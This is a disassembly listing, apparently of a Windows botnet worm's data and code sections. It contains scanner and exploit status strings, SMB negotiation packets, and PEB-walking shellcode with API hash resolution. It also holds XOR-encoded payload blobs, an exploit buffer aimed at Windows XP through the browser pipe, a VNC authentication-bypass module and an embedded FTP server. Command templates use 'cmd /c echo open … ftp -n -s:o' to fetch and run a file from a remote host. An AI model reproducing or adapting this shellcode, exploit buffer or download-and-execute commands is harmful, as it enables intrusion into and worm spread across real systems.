aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------

loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------

loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi

loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------

loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------

loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------

loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------

loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62

loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D

loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl

loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]

loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx

loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h

loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
